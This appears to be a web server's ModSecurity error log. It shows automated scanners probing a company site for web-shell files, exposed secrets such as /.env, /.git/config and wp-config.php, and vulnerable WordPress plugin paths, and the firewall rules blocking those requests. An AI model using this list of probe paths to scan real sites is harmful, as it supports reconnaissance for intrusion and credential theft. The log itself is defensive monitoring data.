[Thu Nov 20 19:50:40.219848 2025] [:error] [pid 40636:tid 40662] [client 20.58.138.186:60825] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-mn.php"] [unique_id "aR8AkAK8BWUoW3xq0HAZBQAAA5Y"]
[Thu Nov 20 19:50:42.959127 2025] [:error] [pid 40537:tid 40545] [client 20.58.138.186:60804] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-mn.php"] [unique_id "aR8AkqKlsL5kxTa3c1zunQAAAsQ"]
[Thu Nov 20 19:50:45.113936 2025] [:error] [pid 40508:tid 40534] [client 20.58.138.186:35685] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-mn.php"] [unique_id "aR8AlaxXNVCMW_ksxPvATQAAApg"]
[Thu Nov 20 19:50:48.660016 2025] [:error] [pid 40415:tid 40424] [client 20.58.138.186:35686] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-mn.php"] [unique_id "aR8AmKhjIyLSv09svwO3PwAAAcY"]
[Thu Nov 20 19:50:50.904071 2025] [:error] [pid 40636:tid 40664] [client 20.58.138.186:35661] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aR8AmgK8BWUoW3xq0HAZDgAAA5g"]
[Thu Nov 20 19:50:53.411567 2025] [:error] [pid 55430:tid 55438] [client 20.58.138.186:4281] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aR8AnfPZXaIMEU4pE7sMXwAAAMU"]
[Thu Nov 20 19:50:54.238836 2025] [:error] [pid 40537:tid 40557] [client 20.58.138.186:4279] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aR8AnqKlsL5kxTa3c1zupgAAAtA"]
[Thu Nov 20 19:50:55.483225 2025] [:error] [pid 55430:tid 55435] [client 20.58.138.186:4257] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aR8An_PZXaIMEU4pE7sMbAAAAMI"]
[Thu Nov 20 19:50:56.253823 2025] [:error] [pid 40636:tid 40651] [client 20.58.138.186:39928] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aR8AoAK8BWUoW3xq0HAZGQAAA4s"]
[Thu Nov 20 19:50:57.974204 2025] [:error] [pid 40445:tid 40479] [client 20.58.138.186:4274] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aR8AoVH-MuFcoWRjXpZtbwAAAkQ"]
[Thu Nov 20 19:50:58.960350 2025] [:error] [pid 34405:tid 34426] [client 20.58.138.186:4273] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aR8AojFpvu8oRK7ATfsnEAAAARM"]
[Thu Nov 20 19:50:59.927961 2025] [:error] [pid 55430:tid 55453] [client 20.58.138.186:39883] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/index.php"] [unique_id "aR8Ao_PZXaIMEU4pE7sMdwAAANQ"]
[Thu Nov 20 19:51:06.326846 2025] [:error] [pid 40445:tid 40495] [client 20.58.138.186:35677] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lock360.php"] [unique_id "aR8AqlH-MuFcoWRjXpZtgwAAAlQ"]
[Thu Nov 20 19:51:10.843966 2025] [:error] [pid 40508:tid 40527] [client 20.58.138.186:36930] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lock360.php"] [unique_id "aR8ArqxXNVCMW_ksxPvAbAAAApE"]
[Thu Nov 20 19:51:12.568374 2025] [:error] [pid 40508:tid 40519] [client 20.58.138.186:4418] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lock360.php"] [unique_id "aR8AsKxXNVCMW_ksxPvAbgAAAok"]
[Thu Nov 20 19:51:13.141031 2025] [:error] [pid 55430:tid 55452] [client 20.58.138.186:36281] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lock360.php"] [unique_id "aR8AsfPZXaIMEU4pE7sMgQAAANM"]
[Thu Nov 20 19:51:15.633411 2025] [:error] [pid 55342:tid 55392] [client 20.58.138.186:39885] [client 20.58.138.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aR8As7g6x32Tvk7fIG_rkgAAAFQ"]
[Thu Nov 20 19:51:19.195762 2025] [:error] [pid 40415:tid 40425] [client 20.58.138.186:53061] File does not exist: /usr/local/apache/htdocs/suspended-page/po.php
[Thu Nov 20 19:51:19.375893 2025] [:error] [pid 40415:tid 40426] [client 20.58.138.186:53061] File does not exist: /usr/local/apache/htdocs/suspended-page/zews.php
[Thu Nov 20 19:51:19.427165 2025] [:error] [pid 40415:tid 40428] [client 20.58.138.186:53061] File does not exist: /usr/local/apache/htdocs/suspended-page/usage-file.php
[Thu Nov 20 19:51:19.912598 2025] [:error] [pid 40415:tid 40418] [client 20.58.138.186:53061] [client 20.58.138.186] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/assets/js/wp-config.php"] [unique_id "aR8At6hjIyLSv09svwO3YQAAAcA"]
[Thu Nov 20 19:51:23.515778 2025] [:error] [pid 40636:tid 40647] [client 20.58.138.186:36953] File does not exist: /usr/local/apache/htdocs/suspended-page/Js.php
[Thu Nov 20 19:51:23.537686 2025] [:error] [pid 40636:tid 40643] [client 20.58.138.186:36953] File does not exist: /usr/local/apache/htdocs/suspended-page/menu.php
[Thu Nov 20 19:51:23.568233 2025] [:error] [pid 40636:tid 40642] [client 20.58.138.186:36953] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aR8AuwK8BWUoW3xq0HAZIwAAA4I"]
[Thu Nov 20 19:51:27.947912 2025] [:error] [pid 40445:tid 40498] [client 20.58.138.186:39881] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aR8Av1H-MuFcoWRjXpZtmgAAAlc"]
[Thu Nov 20 19:51:28.980335 2025] [:error] [pid 55343:tid 55403] [client 20.58.138.186:39905] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aR8AwFWlO3EnyVMV7w69jAAAAIQ"]
[Thu Nov 20 19:51:33.370761 2025] [:error] [pid 55343:tid 55399] [client 20.58.138.186:4470] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aR8AxVWlO3EnyVMV7w69lwAAAIA"]
[Thu Nov 20 19:51:34.267367 2025] [:error] [pid 55343:tid 55416] [client 20.58.138.186:39886] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "aR8AxlWlO3EnyVMV7w69nAAAAJE"]
[Thu Nov 20 19:51:42.953471 2025] [:error] [pid 34405:tid 34427] [client 20.58.138.186:4428] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "aR8AzjFpvu8oRK7ATfsnKgAAARQ"]
[Thu Nov 20 19:51:44.845270 2025] [:error] [pid 40636:tid 40654] [client 20.58.138.186:62226] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "aR8A0AK8BWUoW3xq0HAZMgAAA44"]
[Thu Nov 20 19:51:46.162406 2025] [:error] [pid 34405:tid 34411] [client 20.58.138.186:62213] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "aR8A0jFpvu8oRK7ATfsnMQAAAQQ"]
[Thu Nov 20 19:52:04.351930 2025] [:error] [pid 55342:tid 55374] [client 20.58.138.186:62246] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "aR8A5Lg6x32Tvk7fIG_ruQAAAEI"]
[Thu Nov 20 19:55:33.486168 2025] [:error] [pid 40537:tid 40547] [client 46.101.1.225:58168] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v2/api-docs"] [unique_id "aR8BtaKlsL5kxTa3c1zvLQAAAsY"]
[Thu Nov 20 19:55:34.215245 2025] [:error] [pid 55343:tid 55416] [client 46.101.1.225:58178] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3/api-docs"] [unique_id "aR8BtlWlO3EnyVMV7w6-UAAAAJE"]
[Thu Nov 20 19:55:34.951594 2025] [:error] [pid 55342:tid 55395] [client 46.101.1.225:58190] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aR8Btrg6x32Tvk7fIG_srAAAAFc"]
[Thu Nov 20 19:55:35.678737 2025] [:error] [pid 55340:tid 55347] [client 46.101.1.225:58202] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/swagger.json"] [unique_id "aR8Bt_OxD-NeMydTybCrMgAAAAI"]
[Thu Nov 20 19:55:36.414894 2025] [:error] [pid 40445:tid 40475] [client 46.101.1.225:58214] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/@vite/env"] [unique_id "aR8BuFH-MuFcoWRjXpZvUgAAAkA"]
[Thu Nov 20 19:55:37.145372 2025] [:error] [pid 40508:tid 40515] [client 46.101.1.225:58230] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/actuator/env"] [unique_id "aR8BuaxXNVCMW_ksxPvBjwAAAoU"]
[Thu Nov 20 19:55:37.874325 2025] [:error] [pid 55430:tid 55450] [client 46.101.1.225:58238] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/server"] [unique_id "aR8BufPZXaIMEU4pE7sNZgAAANE"]
[Thu Nov 20 19:55:38.603743 2025] [:error] [pid 55342:tid 55381] [client 46.101.1.225:58242] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aR8Burg6x32Tvk7fIG_ssgAAAEk"]
[Thu Nov 20 19:55:39.334092 2025] [:error] [pid 55343:tid 55420] [client 46.101.1.225:58246] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about"] [unique_id "aR8Bu1WlO3EnyVMV7w6-WQAAAJU"]
[Thu Nov 20 19:55:40.098236 2025] [:error] [pid 55430:tid 55439] [client 46.101.1.225:36910] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/debug/default/view"] [unique_id "aR8BvPPZXaIMEU4pE7sNcgAAAMY"]
[Thu Nov 20 19:55:40.829261 2025] [:error] [pid 40445:tid 40479] [client 46.101.1.225:36920] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v2/_catalog"] [unique_id "aR8BvFH-MuFcoWRjXpZvZAAAAkQ"]
[Thu Nov 20 19:55:41.559828 2025] [:error] [pid 34405:tid 34427] [client 46.101.1.225:36934] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aR8BvTFpvu8oRK7ATfsn2AAAARQ"]
[Thu Nov 20 19:55:42.289698 2025] [:error] [pid 40415:tid 40426] [client 46.101.1.225:36936] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/server-status"] [unique_id "aR8BvqhjIyLSv09svwO4OAAAAcg"]
[Thu Nov 20 19:55:43.020119 2025] [:error] [pid 55430:tid 55453] [client 46.101.1.225:36940] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/login.action"] [unique_id "aR8Bv_PZXaIMEU4pE7sNdAAAANQ"]
[Thu Nov 20 19:55:43.749203 2025] [:error] [pid 40445:tid 40489] [client 46.101.1.225:36944] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_all_dbs"] [unique_id "aR8Bv1H-MuFcoWRjXpZvdAAAAk4"]
[Thu Nov 20 19:55:44.483206 2025] [:error] [pid 55343:tid 55411] [client 46.101.1.225:36956] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.DS_Store"] [unique_id "aR8BwFWlO3EnyVMV7w6-XQAAAIw"]
[Thu Nov 20 19:55:45.206868 2025] [:error] [pid 34405:tid 34408] [client 46.101.1.225:36966] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aR8BwTFpvu8oRK7ATfsn3wAAAQE"]
[Thu Nov 20 19:55:45.945622 2025] [:error] [pid 55343:tid 55421] [client 46.101.1.225:36982] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aR8BwVWlO3EnyVMV7w6-XgAAAJY"]
[Thu Nov 20 19:55:46.726336 2025] [:error] [pid 34405:tid 34409] [client 46.101.1.225:36990] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aR8BwjFpvu8oRK7ATfsn5AAAAQI"]
[Thu Nov 20 19:55:47.488409 2025] [:error] [pid 40445:tid 40498] [client 46.101.1.225:37002] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.json"] [unique_id "aR8Bw1H-MuFcoWRjXpZvhQAAAlc"]
[Thu Nov 20 19:55:48.342792 2025] [:error] [pid 40415:tid 40427] [client 46.101.1.225:37006] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/telescope/requests"] [unique_id "aR8BxKhjIyLSv09svwO4QQAAAck"]
[Thu Nov 20 19:55:49.272841 2025] [:error] [pid 40445:tid 40493] [client 46.101.1.225:37020] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aR8BxVH-MuFcoWRjXpZvhgAAAlI"]
[Thu Nov 20 19:55:50.173703 2025] [:error] [pid 55430:tid 55444] [client 46.101.1.225:45282] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR8BxvPZXaIMEU4pE7sNfAAAAMs"]
[Thu Nov 20 21:39:07.331861 2025] [:error] [pid 55343:tid 55411] [client 185.223.152.216:26795] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aR8Z-1WlO3EnyVMV7w7RoQAAAIw"]
[Thu Nov 20 21:39:07.977863 2025] [:error] [pid 55430:tid 55445] [client 185.223.152.224:40383] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aR8Z-_PZXaIMEU4pE7sgzAAAAMw"]
[Thu Nov 20 21:39:08.624822 2025] [:error] [pid 40508:tid 40517] [client 185.223.152.207:41265] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "aR8Z_KxXNVCMW_ksxPvfOgAAAoc"]
